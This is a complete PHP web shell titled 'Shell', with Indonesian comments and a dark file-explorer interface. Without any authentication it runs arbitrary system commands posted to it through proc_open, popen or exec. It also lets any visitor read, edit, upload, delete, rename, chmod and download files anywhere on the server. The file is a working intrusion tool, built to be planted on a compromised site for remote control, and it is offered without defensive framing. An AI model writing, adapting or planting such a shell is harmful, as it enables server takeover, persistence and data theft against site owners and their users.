<?php
error_reporting(0);

$act = $_REQUEST['act'] ?? '';

// ============ PROSES ============
if($act == 'exec' && isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    if(function_exists('proc_open')) {
        $desc = [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];
        $p = @proc_open($cmd, $desc, $pip);
        if(is_resource($p)) {
            $out = stream_get_contents($pip[1]);
            $err = stream_get_contents($pip[2]);
            fclose($pip[0]); fclose($pip[1]); fclose($pip[2]);
            proc_close($p);
            echo json_encode(['ok'=>1,'out'=>$out,'err'=>$err]);
        } else {
            echo json_encode(['ok'=>0,'err'=>'proc_open failed']);
        }
    } elseif(function_exists('popen')) {
        $h = @popen($cmd, 'r');
        if($h) {
            $out = stream_get_contents($h);
            pclose($h);
            echo json_encode(['ok'=>1,'out'=>$out]);
        } else {
            echo json_encode(['ok'=>0,'err'=>'popen failed']);
        }
    } elseif(function_exists('exec')) {
        exec($cmd, $out, $code);
        echo json_encode(['ok'=>($code==0),'out'=>implode("\n",$out),'code'=>$code]);
    } else {
        echo json_encode(['ok'=>0,'err'=>'Tidak ada fungsi exec tersedia']);
    }
    exit;
}

if($act == 'read' && isset($_POST['f'])) {
    $f = $_POST['f'];
    if(file_exists($f) && is_file($f)) {
        $c = file_get_contents($f);
        echo json_encode(['ok'=>1,'name'=>basename($f),'path'=>realpath($f),'size'=>strlen($c),'content'=>$c]);
    } else {
        echo json_encode(['ok'=>0,'err'=>'File tidak ditemukan']);
    }
    exit;
}

if($act == 'save' && isset($_POST['f'], $_POST['c'])) {
    if(file_put_contents($_POST['f'], $_POST['c']) !== false) {
        echo json_encode(['ok'=>1,'msg'=>'File tersimpan']);
    } else {
        echo json_encode(['ok'=>0,'err'=>'Gagal menyimpan']);
    }
    exit;
}

if($act == 'delete' && isset($_POST['f'])) {
    $f = $_POST['f'];
    if(is_file($f)) unlink($f);
    elseif(is_dir($f)) rmdir($f);
    echo json_encode(['ok'=>1,'msg'=>'Dihapus']);
    exit;
}

if($act == 'upload' && isset($_FILES['file'], $_POST['dir'])) {
    $d = rtrim($_POST['dir'],'/');
    $dest = $d.'/'.$_FILES['file']['name'];
    if(move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
        echo json_encode(['ok'=>1,'msg'=>'Upload OK: '.$_FILES['file']['name']]);
    } else {
        echo json_encode(['ok'=>0,'err'=>'Upload gagal']);
    }
    exit;
}

if($act == 'list') {
    $dir = $_POST['dir'] ?? '.';
    $items = [];
    foreach(scandir($dir) as $f) {
        if($f == '.' || $f == '..') continue;
        $p = $dir.'/'.$f;
        $items[] = [
            'name'=>$f,
            'type'=>is_dir($p)?'dir':'file',
            'size'=>is_file($p)?filesize($p):0,
            'perm'=>substr(sprintf('%o',fileperms($p)),-4),
            'writable'=>is_writable($p)
        ];
    }
    echo json_encode(['ok'=>1,'dir'=>realpath($dir),'items'=>$items]);
    exit;
}

if($act == 'rename' && isset($_POST['old'], $_POST['new'])) {
    if(rename($_POST['old'], $_POST['new'])) {
        echo json_encode(['ok'=>1,'msg'=>'Renamed']);
    } else {
        echo json_encode(['ok'=>0,'err'=>'Rename gagal']);
    }
    exit;
}

if($act == 'mkdir' && isset($_POST['dir'], $_POST['name'])) {
    $path = rtrim($_POST['dir'],'/').'/'.$_POST['name'];
    if(mkdir($path, 0755)) {
        echo json_encode(['ok'=>1,'msg'=>'Folder dibuat']);
    } else {
        echo json_encode(['ok'=>0,'err'=>'Gagal membuat folder']);
    }
    exit;
}

if($act == 'chmod' && isset($_POST['f'], $_POST['perm'])) {
    if(chmod($_POST['f'], octdec($_POST['perm']))) {
        echo json_encode(['ok'=>1,'msg'=>'Permission diubah']);
    } else {
        echo json_encode(['ok'=>0,'err'=>'Gagal']);
    }
    exit;
}

if($act == 'download' && isset($_POST['f'])) {
    $f = $_POST['f'];
    if(file_exists($f)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($f).'"');
        readfile($f);
    }
    exit;
}

// ============ TAMPILAN ============
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Shell</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { font-family:'Segoe UI',sans-serif; background:#0d1117; color:#c9d1d9; display:flex; height:100vh; }
/* SIDEBAR */
#sidebar { width:280px; background:#161b22; border-right:1px solid #30363d; display:flex; flex-direction:column; overflow:hidden; }
#sidebar h2 { padding:15px; font-size:14px; border-bottom:1px solid #30363d; background:#1c2333; }
#tree { flex:1; overflow:auto; padding:10px; font-size:13px; }
#tree .item { padding:4px 8px; cursor:pointer; border-radius:4px; margin:1px 0; display:flex; align-items:center; gap:6px; }
#tree .item:hover { background:#1c2333; }
#tree .item.active { background:#1f6feb33; border-left:3px solid #1f6feb; }
#tree .dir-icon { color:#58a6ff; }
#tree .file-icon { color:#8b949e; }
#tree .folder-cont { margin-left:20px; }

/* MAIN */
#main { flex:1; display:flex; flex-direction:column; overflow:hidden; }
#toolbar { padding:10px 15px; background:#161b22; border-bottom:1px solid #30363d; display:flex; gap:8px; align-items:center; flex-wrap:wrap; }
#toolbar input, #toolbar select { background:#0d1117; border:1px solid #30363d; color:#c9d1d9; padding:6px 10px; border-radius:4px; font-size:13px; }
#toolbar button { background:#238636; color:#fff; border:none; padding:6px 14px; border-radius:4px; cursor:pointer; font-size:13px; }
#toolbar button:hover { background:#2ea043; }
#toolbar button.danger { background:#da3633; }
#toolbar button.danger:hover { background:#f85149; }
#content { flex:1; overflow:auto; padding:15px; }
#content textarea { width:100%; height:calc(100vh - 150px); background:#0d1117; color:#c9d1d9; border:1px solid #30363d; padding:10px; font-family:'Consolas','Courier New',monospace; font-size:13px; border-radius:4px; resize:none; }
#content .output { background:#0d1117; border:1px solid #30363d; padding:15px; border-radius:4px; font-family:monospace; font-size:13px; white-space:pre-wrap; overflow:auto; max-height:calc(100vh - 150px); }
#status { padding:8px 15px; background:#161b22; border-top:1px solid #30363d; font-size:12px; color:#8b949e; }

/* TABLES */
table { width:100%; border-collapse:collapse; font-size:13px; }
th { background:#1c2333; padding:8px 10px; text-align:left; border-bottom:2px solid #30363d; }
td { padding:6px 10px; border-bottom:1px solid #21262d; }
tr:hover { background:#1c2333; }
.file-link { cursor:pointer; color:#58a6ff; }
.file-link:hover { text-decoration:underline; }
.action-btn { cursor:pointer; color:#8b949e; margin:0 3px; font-size:12px; }
.action-btn:hover { color:#58a6ff; }

/* UPLOAD */
#dropzone { border:2px dashed #30363d; border-radius:8px; padding:40px; text-align:center; margin:20px 0; cursor:pointer; }
#dropzone:hover { border-color:#58a6ff; background:#1c2333; }
</style>
</head>
<body>

<!-- SIDEBAR -->
<div id="sidebar">
<h2>ðŸ“ File Explorer</h2>
<div id="tree"></div>
</div>

<!-- MAIN -->
<div id="main">
<div id="toolbar">
  <span style="color:#8b949e;font-size:13px" id="currentPath">/</span>
  <span style="flex:1"></span>
  <input type="text" id="cmdInput" placeholder="whoami" style="width:200px">
  <button onclick="execCmd()">â–¶ Run</button>
  <button onclick="document.getElementById('uploadInput').click()">ðŸ“¤ Upload</button>
  <input type="file" id="uploadInput" style="display:none" onchange="uploadFile(this)">
  <button onclick="newFolder()">ðŸ“ New Folder</button>
  <button onclick="refreshList()">ðŸ”„ Refresh</button>
</div>
<div id="content">
  <div id="fileView">
    <table id="fileTable">
      <thead><tr><th>Name</th><th>Size</th><th>Perm</th><th>Action</th></tr></thead>
      <tbody></tbody>
    </table>
  </div>
  <div id="cmdView" style="display:none">
    <div class="output" id="cmdOutput"></div>
  </div>
  <div id="editorView" style="display:none">
    <div id="editorHeader" style="margin-bottom:8px;color:#8b949e;font-size:13px"></div>
    <textarea id="editorArea"></textarea>
    <div style="margin-top:8px">
      <button onclick="saveFile()">ðŸ’¾ Save</button>
      <button class="danger" onclick="document.getElementById('editorView').style.display='none';showFiles()">âœ• Close</button>
    </div>
  </div>
</div>
<div id="status">Ready</div>
</div>

<script>
let currentDir = '.';
let clipboard = null;

// ===== TREE VIEW =====
async function loadTree(dir) {
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=list&dir='+encodeURIComponent(dir)});
  const data = await res.json();
  if(!data.ok) return;
  const container = document.getElementById('tree');
  if(dir == '.') container.innerHTML = '';
  const div = document.createElement('div');
  div.className = 'folder-cont';
  for(const item of data.items) {
    const el = document.createElement('div');
    el.className = 'item';
    el.dataset.path = data.dir+'/'+item.name;
    el.innerHTML = (item.type=='dir'?'<span class="dir-icon">ðŸ“</span>':'<span class="file-icon">ðŸ“„</span>')+' '+item.name;
    if(item.type=='dir') {
      el.addEventListener('click', (e) => {
        e.stopPropagation();
        navigateTo(el.dataset.path);
        // load sub tree
        loadTree(el.dataset.path);
        const sub = el.nextElementSibling;
        if(sub && sub.className=='folder-cont') {
          sub.style.display = sub.style.display==='none'?'':'none';
        }
      });
      div.appendChild(el);
      // Placeholder untuk sub
      const sub = document.createElement('div');
      sub.className = 'folder-cont';
      sub.style.display = 'none';
      div.appendChild(sub);
    } else {
      el.addEventListener('click', (e) => {
        e.stopPropagation();
        editFile(el.dataset.path);
      });
      div.appendChild(el);
    }
  }
  if(dir == '.') {
    container.innerHTML = '';
    container.appendChild(div);
  } else {
    // Cari placeholder
    const items = container.querySelectorAll('.item');
    for(const it of items) {
      if(it.dataset.path == dir) {
        const next = it.nextElementSibling;
        if(next && next.className=='folder-cont') {
          next.innerHTML = '';
          next.appendChild(div);
        }
      }
    }
  }
}

// ===== NAVIGATE =====
async function navigateTo(dir) {
  currentDir = dir;
  document.getElementById('currentPath').textContent = dir;
  await loadFiles(dir);
}

async function loadFiles(dir) {
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=list&dir='+encodeURIComponent(dir)});
  const data = await res.json();
  if(!data.ok) return;
  document.getElementById('currentPath').textContent = data.dir;
  currentDir = data.dir;
  const tbody = document.querySelector('#fileTable tbody');
  tbody.innerHTML = '';
  // Parent dir
  if(data.dir != '.') {
    const tr = document.createElement('tr');
    tr.innerHTML = `<td colspan="4"><span class="file-link" onclick="navigateTo('${data.dir.substring(0,data.dir.lastIndexOf('/'))||'.'}')">ðŸ“ ..</span></td>`;
    tbody.appendChild(tr);
  }
  for(const item of data.items) {
    const tr = document.createElement('tr');
    const name = item.type=='dir' ? 'ðŸ“ '+item.name : 'ðŸ“„ '+item.name;
    const size = item.type=='file' ? formatSize(item.size) : '-';
    let actions = '';
    if(item.type=='file') {
      actions += `<span class="action-btn" onclick="editFile('${data.dir+'/'+item.name}')">âœï¸</span>`;
      actions += `<span class="action-btn" onclick="downloadFile('${data.dir+'/'+item.name}')">â¬‡ï¸</span>`;
    } else {
      actions += `<span class="action-btn" onclick="navigateTo('${data.dir+'/'+item.name}')">ðŸ“‚</span>`;
    }
    actions += `<span class="action-btn" onclick="renameItem('${data.dir+'/'+item.name}')">âœï¸</span>`;
    actions += `<span class="action-btn" onclick="deleteItem('${data.dir+'/'+item.name}')">ðŸ—‘ï¸</span>`;
    actions += `<span class="action-btn" onclick="chmodItem('${data.dir+'/'+item.name}')">ðŸ”’</span>`;
    
    const link = item.type=='dir' ? `onclick="navigateTo('${data.dir+'/'+item.name}')"` : `onclick="editFile('${data.dir+'/'+item.name}')"`;
    tr.innerHTML = `<td><span class="file-link" ${link}>${name}</span></td><td>${size}</td><td>${item.perm}</td><td>${actions}</td>`;
    tbody.appendChild(tr);
  }
  setStatus(data.dir+' â€” '+data.items.length+' items');
}

// ===== COMMAND =====
async function execCmd() {
  const cmd = document.getElementById('cmdInput').value;
  if(!cmd) return;
  document.getElementById('fileView').style.display='none';
  document.getElementById('editorView').style.display='none';
  document.getElementById('cmdView').style.display='block';
  document.getElementById('cmdOutput').textContent = 'Running: '+cmd+'\n\n';
  
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=exec&cmd='+encodeURIComponent(cmd)});
  const data = await res.json();
  let output = data.out || '';
  if(data.err) output += '\n\n[STDERR]\n'+data.err;
  if(!data.ok) output = 'Error: '+(data.err||'Unknown');
  document.getElementById('cmdOutput').textContent = cmd+'\n'+'='.repeat(50)+'\n'+output;
}

// ===== EDITOR =====
async function editFile(path) {
  document.getElementById('fileView').style.display='none';
  document.getElementById('cmdView').style.display='none';
  document.getElementById('editorView').style.display='block';
  document.getElementById('editorHeader').textContent = 'Editing: '+path;
  
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=read&f='+encodeURIComponent(path)});
  const data = await res.json();
  if(data.ok) {
    document.getElementById('editorArea').value = data.content;
  } else {
    document.getElementById('editorArea').value = 'Error: '+data.err;
  }
}

async function saveFile() {
  const path = document.getElementById('editorHeader').textContent.replace('Editing: ','');
  const content = document.getElementById('editorArea').value;
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=save&f='+encodeURIComponent(path)+'&c='+encodeURIComponent(content)});
  const data = await res.json();
  if(data.ok) {
    setStatus('âœ… File saved!');
    loadFiles(currentDir);
  } else {
    setStatus('âŒ '+data.err);
  }
}

// ===== UPLOAD =====
async function uploadFile(input) {
  const file = input.files[0];
  if(!file) return;
  const formData = new FormData();
  formData.append('file', file);
  formData.append('act', 'upload');
  formData.append('dir', currentDir);
  const res = await fetch('', {method:'POST', body:formData});
  const data = await res.json();
  if(data.ok) {
    setStatus('âœ… '+data.msg);
    loadFiles(currentDir);
  } else {
    setStatus('âŒ '+data.err);
  }
  input.value = '';
}

// ===== DELETE =====
async function deleteItem(path) {
  if(!confirm('Hapus '+path+'?')) return;
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=delete&f='+encodeURIComponent(path)});
  const data = await res.json();
  if(data.ok) {
    setStatus('âœ… Deleted');
    loadFiles(currentDir);
  }
}

// ===== RENAME =====
async function renameItem(path) {
  const name = prompt('Rename:', path.split('/').pop());
  if(!name) return;
  const dir = path.substring(0, path.lastIndexOf('/'));
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=rename&old='+encodeURIComponent(path)+'&new='+encodeURIComponent(dir+'/'+name)});
  const data = await res.json();
  if(data.ok) {
    setStatus('âœ… Renamed');
    loadFiles(currentDir);
  } else {
    setStatus('âŒ '+data.err);
  }
}

// ===== CHMOD =====
async function chmodItem(path) {
  const perm = prompt('Permission (contoh: 644, 755):', '644');
  if(!perm) return;
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=chmod&f='+encodeURIComponent(path)+'&perm='+perm});
  const data = await res.json();
  if(data.ok) {
    setStatus('âœ… Permission changed');
    loadFiles(currentDir);
  } else {
    setStatus('âŒ '+data.err);
  }
}

// ===== DOWNLOAD =====
async function downloadFile(path) {
  const form = document.createElement('form');
  form.method = 'POST';
  form.action = '';
  form.innerHTML = '<input name="act" value="download"><input name="f" value="'+path+'">';
  document.body.appendChild(form);
  form.submit();
  document.body.removeChild(form);
}

// ===== NEW FOLDER =====
async function newFolder() {
  const name = prompt('Folder name:');
  if(!name) return;
  const res = await fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'act=mkdir&dir='+encodeURIComponent(currentDir)+'&name='+encodeURIComponent(name)});
  const data = await res.json();
  if(data.ok) {
    setStatus('âœ… Folder created');
    loadFiles(currentDir);
  } else {
    setStatus('âŒ '+data.err);
  }
}

// ===== REFRESH =====
function refreshList() {
  loadFiles(currentDir);
}

// ===== HELPERS =====
function formatSize(bytes) {
  if(bytes==0) return '0 B';
  const k = 1024;
  const sizes = ['B','KB','MB','GB'];
  const i = Math.floor(Math.log(bytes)/Math.log(k));
  return parseFloat((bytes/Math.pow(k,i)).toFixed(1))+' '+sizes[i];
}

function setStatus(msg) {
  document.getElementById('status').textContent = msg;
}

function showFiles() {
  document.getElementById('fileView').style.display='block';
  document.getElementById('cmdView').style.display='none';
  document.getElementById('editorView').style.display='none';
}

// ===== KEYBOARD SHORTCUT =====
document.addEventListener('keydown', (e) => {
  if(e.key == 'Enter' && document.activeElement == document.getElementById('cmdInput')) {
    execCmd();
  }
  if(e.key == 'Escape') {
    showFiles();
  }
});

// ===== INIT =====
loadTree('.');
loadFiles('.');
setStatus('Ready â€” klik kiri folder untuk navigasi, klik kanan untuk expand tree');
</script>
</body>
</html>